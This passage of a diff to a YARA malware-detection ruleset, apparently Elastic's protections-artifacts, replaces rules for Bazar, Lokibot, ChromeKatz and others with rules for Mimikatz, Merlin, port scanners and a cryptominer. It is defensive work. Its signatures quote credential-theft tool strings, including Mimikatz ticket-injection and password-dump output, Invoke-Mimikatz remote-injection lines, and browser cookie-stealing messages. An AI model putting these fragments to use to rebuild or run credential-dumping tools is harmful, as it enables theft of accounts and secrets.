-rule ELASTIC_Windows_Trojan_Bazar_9Dddea36 : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Portscan_E191222D : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
+		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
 		author = "Elastic Security"
-		id = "9dddea36-1345-434b-8ce6-54d2eab39616"
-		date = "2021-06-28"
-		modified = "2021-08-23"
+		id = "e191222d-633a-4408-9a54-a70bb9e89cc0"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bazar.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "63df43daa61f9a0fbea2e5409b8f0063f7af3363b6bc8d6984ce7e90c264727d"
-		logic_hash = "cf88e2e896fce742ad3325d53523167d6eb42188309ed4e66f73601bbb85574e"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Portscan.yar#L41-L59"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "e2f4313538c3ef23adbfc50f37451c318bfd1ffd0e5aaa346cce4cc37417f812"
+		logic_hash = "6ffb2add4a76214ffd555cf1fe356371acd3638216094097b355670ecfe02ecd"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "e322e36006cc017d5d5d9887c89b180c5070dbe5a9efd9fb7ae15cda5b726d6c"
+		fingerprint = "5580dd8b9180b8ff36c7d08a134b1b3782b41054d8b29b23fc5a79e7b0059fd1"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { C4 10 5B 5F 5E C3 41 56 56 57 55 53 48 83 EC 18 48 89 C8 48 }
+		$a = { 46 4F 55 4E 44 00 56 41 4C 55 45 00 44 45 4C 45 54 45 44 00 54 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bazar_3A2Cc53B : FILE MEMORY
+rule ELASTIC_Linux_Hacktool_Portscan_E57B0A0C : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
+		description = "Detects Linux Hacktool Portscan (Linux.Hacktool.Portscan)"
 		author = "Elastic Security"
-		id = "3a2cc53b-4f73-41f9-aabd-08b8755ba44c"
-		date = "2021-06-28"
-		modified = "2021-08-23"
+		id = "e57b0a0c-66b8-488b-b19d-ae06623645fd"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bazar.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b057eb94e711995fd5fd6c57aa38a243575521b11b98734359658a7a9829b417"
-		logic_hash = "8cde37be646dbcf7e7f5e3f28f0fe8c95480861c62fa2ee8cdd990859313756c"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Hacktool_Portscan.yar#L61-L79"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "f8ee385316b60ee551565876287c06d76ac5765f005ca584d1ca6da13a6eb619"
+		logic_hash = "b2f67805e9381864591fdf61846284da97f8dd2f5c60484ce9c6e76d2f6f3872"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "f146d4fff29011acf595f2cba10ed7c3ce6ba07fbda0864d746f8e6355f91add"
+		fingerprint = "829c7d271ae475ef06d583148bbdf91af67ce4c7a831da73cc52e8406e7e8f9e"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 48 63 41 3C 45 33 ED 44 8B FA 48 8B F9 8B 9C 08 88 00 00 00 44 8B A4 08 8C 00 }
+		$a = { 10 83 7D 08 03 75 2B 83 EC 0C 8B 45 0C 83 C0 08 FF 30 8B 45 0C 83 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Bazar_De8D625A : FILE MEMORY
+rule ELASTIC_Linux_Cryptominer_Casdet_5D0D33Be : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Bazar (Windows.Trojan.Bazar)"
+		description = "Detects Linux Cryptominer Casdet (Linux.Cryptominer.Casdet)"
 		author = "Elastic Security"
-		id = "de8d625a-8f85-47b7-bcad-e3cc012e4654"
-		date = "2022-01-14"
-		modified = "2022-04-12"
+		id = "5d0d33be-e53e-4188-9957-e1af2a802867"
+		date = "2021-01-12"
+		modified = "2021-09-16"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Bazar.yar#L61-L79"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "1ad9ac4785b82c8bfa355c7343b9afc7b1f163471c41671ea2f9152a1b550f0c"
-		logic_hash = "5fd7bb4ac818ec1b4bfcb7d236868a31b2f726182407c07c7f06c1d7e9c15d02"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Cryptominer_Casdet.yar#L1-L19"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "4b09115c876a8b610e1941c768100e03c963c76b250fdd5b12a74253ef9e5fb6"
+		logic_hash = "e3264f614e257d853070907866b838d1cb53c1f60f7a0123ec503f1d540a15d7"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "17b2de5803589634fd7fb4643730fbebfa037c4d0b66be838a1c78af22da0228"
+		fingerprint = "2d584f6815093d37bd45a01146034d910b95be51462f01f0d4fc4a70881dfda6"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$a = { 48 89 5C 24 08 48 89 74 24 10 57 48 83 EC 20 49 8B F0 48 8B FA 48 8B D9 48 85 D2 74 61 4D 85 C0 74 5C 48 39 11 75 06 4C 39 41 08 74 2B 48 8B 49 }
+		$a = { C3 EB 05 48 89 C3 EB CF 48 8B BC 24 A0 00 00 00 48 85 FF 74 D7 48 }
 
 	condition:
 		all of them
 }
-rule ELASTIC_Windows_Trojan_Lokibot_1F885282 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Mimikatz_1388212A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Lokibot (Windows.Trojan.Lokibot)"
+		description = "Detects Windows Hacktool Mimikatz (Windows.Hacktool.Mimikatz)"
 		author = "Elastic Security"
-		id = "1f885282-b60e-491e-ae1b-d26825e5aadb"
-		date = "2021-06-22"
+		id = "1388212a-2146-4565-b93d-4555a110364f"
+		date = "2021-04-13"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Lokibot.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "916eded682d11cbdf4bc872a8c1bcaae4d4e038ac0f869f59cc0a83867076409"
-		logic_hash = "c76941a83e18f11ed5af701e89616d324ddba613a95069997ea8f1830f328307"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Mimikatz.yar#L1-L43"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"
+		logic_hash = "1b717453810455e3f530e399f5f9f163d1ad0d71a5464fa5c68aa82edd699cda"
 		score = 75
-		quality = 75
+		quality = 73
 		tags = "FILE, MEMORY"
-		fingerprint = "a7519bb0751a6c928af7548eaed2459e0ed26128350262d1278f74f2ad91331b"
+		fingerprint = "dbbdc492c07e3b95d677044751ee4365ec39244e300db9047ac224029dfe6ab7"
 		severity = 100
 		arch_context = "x86"
 		scan_context = "file, memory"
@@ -86583,402 +90445,445 @@ rule ELASTIC_Windows_Trojan_Lokibot_1F885282 : FILE MEMORY
 		os = "windows"
 
 	strings:
-		$a1 = "MAC=%02X%02X%02XINSTALL=%08X%08Xk" fullword
+		$a1 = "   Password: %s" wide fullword
+		$a2 = "  * Session Key   : 0x%08x - %s" wide fullword
+		$a3 = "   * Injecting ticket : " wide fullword
+		$a4 = " ## / \\ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )" wide fullword
+		$a5 = "Remove mimikatz driver (mimidrv)" wide fullword
+		$a6 = "mimikatz(commandline) # %s" wide fullword
+		$a7 = "  Password: %s" wide fullword
+		$a8 = " - SCardControl(FEATURE_CCID_ESC_COMMAND)" wide fullword
+		$a9 = " * to 0 will take all 'cmd' and 'mimikatz' process" wide fullword
+		$a10 = "** Pass The Ticket **" wide fullword
+		$a11 = "-> Ticket : %s" wide fullword
+		$a12 = "Busylight Lync model (with bootloader)" wide fullword
+		$a13 = "mimikatz.log" wide fullword
+		$a14 = "Log mimikatz input/output to file" wide fullword
+		$a15 = "ERROR kuhl_m_dpapi_masterkey ; kull_m_dpapi_unprotect_domainkey_with_key" wide fullword
+		$a16 = "ERROR kuhl_m_lsadump_dcshadow ; unable to start the server: %08x" wide fullword
+		$a17 = "ERROR kuhl_m_sekurlsa_pth ; GetTokenInformation (0x%08x)" wide fullword
+		$a18 = "ERROR mimikatz_doLocal ; \"%s\" module not found !" wide fullword
+		$a19 = "Install and/or start mimikatz driver (mimidrv)" wide fullword
+		$a20 = "Target: %hhu (0x%02x - %s)" wide fullword
+		$a21 = "mimikatz Ho, hey! I'm a DC :)" wide fullword
+		$a22 = "mimikatz service (mimikatzsvc)" wide fullword
+		$a23 = "[masterkey] with DPAPI_SYSTEM (machine, then user): " wide fullword
+		$a24 = "$http://blog.gentilkiwi.com/mimikatz 0" ascii fullword
+		$a25 = " * Username : %wZ" wide fullword
 
 	condition:
-		all of them
+		3 of ($a*)
 }
-rule ELASTIC_Windows_Trojan_Lokibot_0F421617 : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Mimikatz_674Fd079 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Lokibot (Windows.Trojan.Lokibot)"
+		description = "Detection for default mimikatz memssp module"
 		author = "Elastic Security"
-		id = "0f421617-df2b-4cb5-9d10-d984f6553012"
-		date = "2021-07-20"
+		id = "674fd079-f7fe-4d89-87e7-ac11aa21c9ed"
+		date = "2021-04-14"
 		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Lokibot.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "de6200b184832e7d3bfe00c193034192774e3cfca96120dc97ad6fed1e472080"
-		logic_hash = "0076ccbe43ae77e3a80164d43832643f077e659a595fff01c87694e2274c5e86"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Mimikatz.yar#L45-L77"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "66b4a0681cae02c302a9b6f1d611ac2df8c519d6024abdb506b4b166b93f636a"
+		logic_hash = "f63f3de05dd4f4f40cda6df67b75e37d7baa82c4b4cafd3ebdca35adfb0b15f8"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "9ff5d594428e4a5de84f0142dfa9f54cb75489192461deb978c70f1bdc88acda"
-		severity = 100
+		fingerprint = "b8f71996180e5f03c10e39eb36b2084ecaff78d7af34bd3d0d75225d2cfad765"
+		threat_name = "Windows.Hacktool.Mimikatz"
+		severity = 99
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a = { 08 8B CE 0F B6 14 38 D3 E2 83 C1 08 03 F2 48 79 F2 5F 8B C6 }
+		$a1 = { 44 30 00 38 00 }
+		$a2 = { 48 78 00 3A 00 }
+		$a3 = { 4C 25 00 30 00 }
+		$a4 = { 50 38 00 78 00 }
+		$a5 = { 54 5D 00 20 00 }
+		$a6 = { 58 25 00 77 00 }
+		$a7 = { 5C 5A 00 5C 00 }
+		$a8 = { 60 25 00 77 00 }
+		$a9 = { 64 5A 00 09 00 }
+		$a10 = { 6C 5A 00 0A 00 }
+		$a11 = { 68 25 00 77 00 }
+		$a12 = { 68 25 00 77 00 }
+		$a13 = { 6C 5A 00 0A 00 }
+		$b1 = { 6D 69 6D 69 C7 84 24 8C 00 00 00 6C 73 61 2E C7 84 24 90 00 00 00 6C 6F 67 }
 
 	condition:
-		all of them
+		all of ($a*) or $b1
 }
-rule ELASTIC_Windows_Trojan_Hotpage_414F235F : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Mimikatz_355D5D3A : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Trojan Hotpage (Windows.Trojan.HotPage)"
+		description = "Detection for Invoke-Mimikatz"
 		author = "Elastic Security"
-		id = "414f235f-5e16-449a-9ac5-556655c4418e"
-		date = "2024-07-18"
-		modified = "2024-07-26"
+		id = "355d5d3a-e50e-4614-9a84-0da668c40852"
+		date = "2021-04-14"
+		modified = "2021-08-23"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_HotPage.yar#L1-L25"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "b8464126b64c809b4ab47aa91c5f322ce2c0ae4fd668a43de738a5caa7567225"
-		logic_hash = "cfa0036b22a83a5396b3f9014511720071246a775053ad493791ebc1212400f2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Mimikatz.yar#L79-L112"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "945245ca795e0a3575ee4fdc174df9d377a598476c2bf4bf0cdb0cde4286af96"
+		logic_hash = "c6b48ab2cc92deb507d7eead1fb6381ee40b698e84d9eaac45288f95dbda66b3"
 		score = 75
 		quality = 75
 		tags = "FILE, MEMORY"
-		fingerprint = "6f590056d3f7bb9f743861e8d317ec589d8703353428dfcea9a6d2f61f266cdf"
-		severity = 100
+		fingerprint = "9a23845ec9852d2490171af111612dc257a6b21ad7fdfd8bf22d343dc301d135"
+		threat_name = "Windows.Hacktool.Mimikatz"
+		severity = 90
 		arch_context = "x86"
 		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$SpcSpOpusInfo = { 30 48 A0 1A 80 18 6E 56 53 17 76 FE 7F 51 7F 51 7E DC 79 D1 62 80 67 09 96 50 51 6C 53 F8 }
-		$s1 = "\\Device\\KNewTableBaseIo"
-		$s2 = "Release\\DwAdsafeLoad.pdb"
-		$s3 = "RedDriver.pdb"
-		$s4 = "Release\\DwAdSafe.pdb"
-		$s5 = "[%s] Begin injecting Broser pid=[%d]"
-		$s6 = "[%s] ADDbrowser PID ->[%d]"
+		$a1 = "$PEBytes32 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc"
+		$a2 = "$PEBytes64 = \"TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAA4fug4AtAnNIbgBTM0hVGhpcyBwc"
+		$b1 = "Write-BytesToMemory -Bytes $Shellcode"
+		$b2 = "-MemoryAddress $GetCommandLineWAddrTemp"
+		$b3 = "-MemoryAddress $GetCommandLineAAddrTemp"
+		$c1 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs)" fullword
+		$c2 = "Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, \"Void\", 0, \"\", $ExeArgs) -ComputerNam"
+		$c3 = "at: http://blog.gentilkiwi.com"
+		$c4 = "on the local computer to dump certificates."
+		$c5 = "Throw \"Unable to write shellcode to remote process memory.\"" fullword
+		$c6 = "-Command \"privilege::debug exit\" -ComputerName \"computer1\""
+		$c7 = "dump credentials without"
+		$c8 = "#The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory" fullword
+		$c9 = "two remote computers to dump credentials."
+		$c10 = "#If a remote process to inject in to is specified, get a handle to it" fullword
 
 	condition:
-		$SpcSpOpusInfo or 2 of ($s*)
+		(1 of ($a*) or 2 of ($b*)) or 5 of ($c*)
 }
-rule ELASTIC_Windows_Hacktool_Chromekatz_Fa232Bba : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Mimikatz_71Fe23D9 : FILE
 {
 	meta:
-		description = "Detects Windows Hacktool Chromekatz (Windows.Hacktool.ChromeKatz)"
+		description = "Subject: Benjamin Delpy"
 		author = "Elastic Security"
-		id = "fa232bba-07dd-45e0-9ca3-b1465eb9616d"
-		date = "2024-03-27"
-		modified = "2024-05-08"
+		id = "71fe23d9-ee1a-47fb-a99f-2be2eb9ccb1a"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_ChromeKatz.yar#L1-L28"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "3f6922049422df14f1a1777001fea54b18fbfb0a4b03c4ee27786bfbc3b8ab87"
-		logic_hash = "c86291fadd51845cbd7428b159e401d78ac77090e14e34d06bf7bf2018f4502a"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Mimikatz.yar#L114-L133"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "856687718b208341e7caeea2d96da10f880f9b5a75736796a1158d4c8755f678"
+		logic_hash = "6d1e84bb8532c6271ad3966055eac8d60ec019d8ae6632efb59463c35b46ad9b"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "bf1da659e0de9c4e22851e77878066ae5f4aca75e61b35392887c12e125c91f8"
+		tags = "FILE"
+		fingerprint = "22b1f36e82e604fc3a80bb5abf87aef59957b1ceeb050eea3c9e85fb0b937db1"
+		threat_name = "Windows.Hacktool.Mimikatz"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$s1 = "CookieKatz.exe"
-		$s2 = "Targeting Chrome"
-		$s3 = "Targeting Msedgewebview2"
-		$s4 = "Failed to find the first pattern"
-		$s5 = "WalkCookieMap"
-		$s6 = "Found CookieMonster on 0x%p"
-		$s7 = "Cookie Key:"
-		$s8 = "Failed to read cookie value" wide
-		$s9 = "Failed to read cookie struct" wide
-		$s10 = "Error reading left node"
+		$subject_name = { 06 03 55 04 03 [2] 42 65 6E 6A 61 6D 69 6E 20 44 65 6C 70 79 }
 
 	condition:
-		5 of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
 }
-rule ELASTIC_Windows_Trojan_Sythe_02B2811A : FILE MEMORY
+rule ELASTIC_Windows_Hacktool_Mimikatz_B393864F : FILE
 {
 	meta:
-		description = "Detects Windows Trojan Sythe (Windows.Trojan.Sythe)"
+		description = "Subject: Open Source Developer, Benjamin Delpy"
 		author = "Elastic Security"
-		id = "02b2811a-2ced-42b6-a9f1-6d983d1dc986"
-		date = "2023-05-10"
-		modified = "2023-06-13"
+		id = "b393864f-a9b0-47e7-aea4-0fc5a4a22a82"
+		date = "2022-04-07"
+		modified = "2022-04-07"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Trojan_Sythe.yar#L1-L22"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "2d54a8ba40cc9a1c74db7a889bc75a38f16ae2d025268aa07851c1948daa1b4d"
-		logic_hash = "ba472b35f583dd4cf125df575129d07de289d6d7dc12ecdcc518ce1eb9f18def"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Mimikatz.yar#L135-L154"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "8206ce9c42582ac980ff5d64f8e3e310bc2baa42d1a206dd831c6ab397fbd8fe"
+		logic_hash = "d09cb7f753675e0b6ecd8a7977ca7f8d313e5d525f05170fc54b265c2ae6c188"
 		score = 75
 		quality = 75
-		tags = "FILE, MEMORY"
-		fingerprint = "4dd9764e285985fbea5361e5edfa04e75fb8e3e7945cbbf712ea0183471e67ae"
+		tags = "FILE"
+		fingerprint = "bfd497290db97b7578d59e8d43a28ee736a3d7d23072eb67d28ada85cac08bd3"
+		threat_name = "Windows.Hacktool.Mimikatz"
 		severity = 100
 		arch_context = "x86"
-		scan_context = "file, memory"
+		scan_context = "file"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$a1 = "loadmodule"
-		$a2 = "--privileges"
-		$a3 = "--shutdown"
-		$a4 = "SetClientThreadID"
+		$subject_name = { 06 03 55 04 03 [2] 4F 70 65 6E 20 53 6F 75 72 63 65 20 44 65 76 65 6C 6F 70 65 72 2C 20 42 65 6E 6A 61 6D 69 6E 20 44 65 6C 70 79 }
 
 	condition:
-		all of them
+		int16 ( uint32(0x3C)+0x5c)==0x0001 and $subject_name
 }
-rule ELASTIC_Windows_Hacktool_Netfilter_E8243Dae : FILE
+rule ELASTIC_Windows_Hacktool_Mimikatz_1Ff74F7E : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
+		description = "Detects Windows Hacktool Mimikatz (Windows.Hacktool.Mimikatz)"
 		author = "Elastic Security"
-		id = "e8243dae-33d9-4b54-8f4a-ba5cf5241767"
-		date = "2022-04-04"
+		id = "1ff74f7e-ec5a-45ae-b51b-2f8205445cc8"
+		date = "2023-05-09"
 		modified = "2023-06-13"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_NetFilter.yar#L1-L19"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "760be95d4c04b10df89a78414facf91c0961020e80561eee6e2cb94b43b76510"
-		logic_hash = "c551bd87e73f980d8836b13449490de5e639d768b72d9006d90969f3140b28e2"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Windows_Hacktool_Mimikatz.yar#L156-L175"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "1b6aad500d45de7b076942d31b7c3e77487643811a335ae5ce6783368a4a5081"
+		logic_hash = "f47f760b4c373a073399c69681e76eb9dde6cfdb36c1cc31d7131376493931c0"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "1542c32471f5d3f20beeb60c696085548d675f5d1cab1a0ef85a7060b01f0349"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "6775be439ad1822bcaa04ed2d392143616746cfd674202aa29773c98642346f4"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
 		os = "windows"
 
 	strings:
-		$str1 = "[NetFlt]:CTRL NDIS ModifyARP"
+		$a1 = { 74 65 48 8B 44 24 28 0F B7 80 E0 00 00 00 83 F8 10 75 54 48 8B 44 }
+		$a2 = { 74 69 48 8B 44 24 28 0F B7 80 D0 00 00 00 83 F8 10 75 58 48 8B 44 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Netfilter_Dd576D28 : FILE
+rule ELASTIC_Linux_Trojan_Merlin_Bbad69B8 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
+		description = "Detects Linux Trojan Merlin (Linux.Trojan.Merlin)"
 		author = "Elastic Security"
-		id = "dd576d28-b3e7-46b7-b19f-af37af434082"
-		date = "2022-04-04"
-		modified = "2023-06-13"
+		id = "bbad69b8-e8fc-43ce-a620-793c059536fd"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_NetFilter.yar#L21-L39"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "88cfe6d7c81d0064045c4198d6ec7d3c50dc3ec8e36e053456ed1b50fc8c23bf"
-		logic_hash = "7635ed94ca77c7705df4d2a9c5546ece86bf831b5bf5355943419174e0387b86"
+		source_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/yara/rules/Linux_Trojan_Merlin.yar#L21-L39"
+		license_url = "https://github.com/elastic/protections-artifacts//blob/9f0d93c3c4b1ed8d822c467cfdabfa157721b9bd/LICENSE.txt"
+		hash = "d9955487f7d08f705e41a5ff848fb6f02d6c88286a52ec837b7b555fb422d1b6"
+		logic_hash = "e18079c9f018dc8d7f2fdf5c950b405f9f84ad2a5b18775dbef829fe1cb770c3"
 		score = 75
 		quality = 75
-		tags = "FILE"
-		fingerprint = "b47477c371819a456ab24e158d6649e89b4d1756dc6da0b783b351d40b034fac"
-		severity = 50
+		tags = "FILE, MEMORY"
+		fingerprint = "594f385556978ef1029755cea53c3cf89ff4d6697be8769fe1977b14bbdb46d1"
+		severity = 100
 		arch_context = "x86"
-		scan_context = "file"
+		scan_context = "file, memory"
 		license = "Elastic License v2"
-		os = "windows"
+		os = "linux"
 
 	strings:
-		$str1 = "\\NetProxyDriver.pdb"
+		$a = { DA 31 C0 BB 1F 00 00 00 EB 12 0F B6 3C 13 40 88 3C 02 40 88 }
 
 	condition:
-		int16 ( uint32(0x3C)+0x5c)==0x0001 and $str1
+		all of them
 }
-rule ELASTIC_Windows_Hacktool_Netfilter_B4F2A520 : FILE
+rule ELASTIC_Linux_Trojan_Merlin_C6097296 : FILE MEMORY
 {
 	meta:
-		description = "Detects Windows Hacktool Netfilter (Windows.Hacktool.NetFilter)"
+		description = "Detects Linux Trojan Merlin (Linux.Trojan.Merlin)"
 		author = "Elastic Security"
-		id = "b4f2a520-88bf-447e-bbc4-5d8bfd2c9753"
-		date = "2022-04-04"
-		modified = "2023-06-13"
+		id = "c6097296-c518-4541-99b2-e2f6d3e4610b"
+		date = "2022-09-12"
+		modified = "2022-10-18"
 		reference = "https://github.com/elastic/protections-artifacts/"
-		source_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/yara/rules/Windows_Hacktool_NetFilter.yar#L41-L59"
-		license_url = "https://github.com/elastic/protections-artifacts//blob/9038ed0994941166ede4355ee47e1ae8467ce23e/LICENSE.txt"
-		hash = "5d0d5373c5e52c4405f4bd963413e6ef3490b7c4c919ec2d4e3fb92e91f397a0"
-		logic_hash = "520d2194593f1622a3b905fe182a0773447a4eee3472e7701cce977f5bf4fbae"
